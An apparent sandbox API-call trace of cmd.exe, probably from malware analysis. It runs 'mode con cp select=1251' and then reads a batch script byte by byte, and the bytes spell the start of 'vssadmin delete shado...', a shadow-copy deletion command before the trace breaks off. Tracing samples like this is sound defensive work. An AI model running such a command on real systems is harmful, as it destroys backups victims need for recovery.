[0059.959] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0059.960] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0059.960] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0059.960] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0059.960] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0059.960] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0059.960] GetProcessHeap () returned 0x70000 [0059.960] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x84640 | out: hHeap=0x70000) returned 1 [0059.960] GetProcessHeap () returned 0x70000 [0059.960] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x12) returned 0x88900 [0059.960] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28f090*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f040 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x28f040*(hProcess=0x54, hThread=0x50, dwProcessId=0xa84, dwThreadId=0xa88)) returned 1 [0060.162] CloseHandle (hObject=0x50) returned 1 [0060.162] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0060.162] GetProcessHeap () returned 0x70000 [0060.162] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8c230 | out: hHeap=0x70000) returned 1 [0060.162] GetEnvironmentStringsW () returned 0x8aa10* [0060.162] GetProcessHeap () returned 0x70000 [0060.162] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xae8) returned 0x8b500 [0060.162] FreeEnvironmentStringsW (penv=0x8aa10) returned 1 [0060.162] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0060.162] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0060.162] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x28e948, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x28e948, ReturnLength=0x0) returned 0x0 [0060.162] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x28e980, nSize=0x380, lpNumberOfBytesRead=0x28e940 | out: lpBuffer=0x28e980*, lpNumberOfBytesRead=0x28e940*=0x380) returned 1 [0060.163] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0060.884] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x28ef88 | out: lpExitCode=0x28ef88*=0x0) returned 1 [0060.884] CloseHandle (hObject=0x54) returned 1 [0060.884] _vsnwprintf (in: _Buffer=0x28f1f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x28ef98 | out: _Buffer="00000000") returned 8 [0060.884] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0060.884] GetProcessHeap () returned 0x70000 [0060.884] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8b500 | out: hHeap=0x70000) returned 1 [0060.884] GetEnvironmentStringsW () returned 0x8aa10* [0060.884] GetProcessHeap () returned 0x70000 [0060.884] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb0e) returned 0x8eb10 [0060.884] FreeEnvironmentStringsW (penv=0x8aa10) returned 1 [0060.884] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0060.884] GetProcessHeap () returned 0x70000 [0060.884] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8eb10 | out: hHeap=0x70000) returned 1 [0060.884] GetEnvironmentStringsW () returned 0x8aa10* [0060.884] GetProcessHeap () returned 0x70000 [0060.884] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb0e) returned 0x8eb10 [0060.884] FreeEnvironmentStringsW (penv=0x8aa10) returned 1 [0060.884] GetProcessHeap () returned 0x70000 [0060.885] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x88900 | out: hHeap=0x70000) returned 1 [0060.885] DeleteProcThreadAttributeList (in: lpAttributeList=0x28f058 | out: lpAttributeList=0x28f058) [0060.972] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0060.973] _get_osfhandle (_FileHandle=1) returned 0xf4 [0060.973] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0060.973] _get_osfhandle (_FileHandle=1) returned 0xf4 [0060.973] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49f7e194 | out: lpMode=0x49f7e194) returned 0 [0060.973] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.973] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49f7e198 | out: lpMode=0x49f7e198) returned 0 [0060.973] GetConsoleOutputCP () returned 0x4e3 [0060.974] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49f8bfe0 | out: lpCPInfo=0x49f8bfe0) returned 1 [0060.974] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0060.974] GetProcessHeap () returned 0x70000 [0060.974] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x85b70 | out: hHeap=0x70000) returned 1 [0060.974] GetProcessHeap () returned 0x70000 [0060.974] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89b00 | out: hHeap=0x70000) returned 1 [0060.974] GetProcessHeap () returned 0x70000 [0060.974] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x71cd0 | out: hHeap=0x70000) returned 1 [0060.974] GetProcessHeap () returned 0x70000 [0060.974] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89a80 | out: hHeap=0x70000) returned 1 [0060.974] GetProcessHeap () returned 0x70000 [0060.974] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x898a0 | out: hHeap=0x70000) returned 1 [0060.974] GetProcessHeap () returned 0x70000 [0060.974] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x71ab0 | out: hHeap=0x70000) returned 1 [0060.974] GetProcessHeap () returned 0x70000 [0060.974] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x86510 | out: hHeap=0x70000) returned 1 [0060.974] GetProcessHeap () returned 0x70000 [0060.974] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x84610 | out: hHeap=0x70000) returned 1 [0060.974] GetProcessHeap () returned 0x70000 [0060.974] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x897e0 | out: hHeap=0x70000) returned 1 [0060.974] _vsnwprintf (in: _Buffer=0x49f96340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f4b8 | out: _Buffer="\r\n") returned 2 [0060.974] _get_osfhandle (_FileHandle=1) returned 0xf4 [0060.974] GetFileType (hFile=0xf4) returned 0x3 [0060.974] _get_osfhandle (_FileHandle=1) returned 0xf4 [0060.975] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f8c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0060.975] WriteFile (in: hFile=0xf4, lpBuffer=0x49f8c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x28f488, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesWritten=0x28f488*=0x2, lpOverlapped=0x0) returned 1 [0060.975] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0060.975] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f8c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.975] _vsnwprintf (in: _Buffer=0x49f7eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x28f4c8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0060.975] _vsnwprintf (in: _Buffer=0x49f7ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x28f4c8 | out: _Buffer=">") returned 1 [0060.975] _get_osfhandle (_FileHandle=1) returned 0xf4 [0060.975] GetFileType (hFile=0xf4) returned 0x3 [0060.975] _get_osfhandle (_FileHandle=1) returned 0xf4 [0060.975] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f8c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0060.975] WriteFile (in: hFile=0xf4, lpBuffer=0x49f8c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x28f4b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesWritten=0x28f4b8*=0x26, lpOverlapped=0x0) returned 1 [0060.975] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.975] GetFileType (hFile=0xe8) returned 0x3 [0060.975] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.975] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.975] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.975] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0060.975] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.975] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.975] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.975] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0060.976] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.976] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.976] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.976] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0060.976] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.976] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.976] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.976] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0060.976] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.976] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.976] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.976] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0060.976] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.976] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.976] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.976] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0060.976] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.976] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.976] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.977] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0060.977] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.977] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.977] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.977] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0060.977] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.977] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.977] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.977] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0060.977] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.977] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.977] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.977] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0060.977] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.977] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.977] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.977] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0060.977] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.977] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.977] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.977] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0060.977] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.977] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.977] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.978] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0060.978] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.978] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.978] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.978] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0060.978] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.978] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.978] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.978] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0060.978] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.978] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.978] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.978] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0060.978] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.978] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.978] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.978] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0060.978] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.978] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.978] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.978] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0060.978] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.978] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.978] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.978] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0060.978] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.978] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.979] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.979] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0060.979] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.979] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.979] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0060.979] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0060.979] _get_osfhandle (_FileHandle=0) returned 0xe8 [0060.979] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, 